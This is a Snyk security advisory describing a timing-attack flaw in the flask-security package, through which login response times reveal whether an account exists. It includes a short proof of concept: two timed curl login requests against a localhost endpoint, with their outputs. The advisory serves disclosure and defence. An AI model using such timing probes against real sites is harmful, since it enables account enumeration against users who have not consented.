Timing Attack Affecting flask-security package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-FLASKSECURITY-2420091
- published 9 Mar 2022
- disclosed 9 Mar 2022
- credit cancan101
How to fix?
A fix was pushed into the master
branch but not yet published.
Overview
Flask-Security is a Simple security for Flask apps.
Affected versions of this package are vulnerable to Timing Attack. The time it takes to process a login request is considerably less if the user-specified doesn't exist than if the password is incorrect. This can be used as a user enumeration attack, even if the login error messages were customized to avoid this.
PoC:
$ time curl 'http://localhost:5000/login' --data 'next=&email=not%40existing.com&password=12312312312&next=&submit=Login' -s> /dev/null
curl 'http://localhost:5000/login' --data -s > /dev/null 0,02s user 0,00s system 43% cpu 0,037 total
$ time curl 'http://localhost:5000/login' --data 'next=&email=existing%40gmail.com&password=12312312312&next=&submit=Login' -s> /dev/null
curl 'http://localhost:5000/login' --data -s > /dev/null 0,01s user 0,01s system 4% cpu 0,401 total
References
CVSS Scores
version 3.1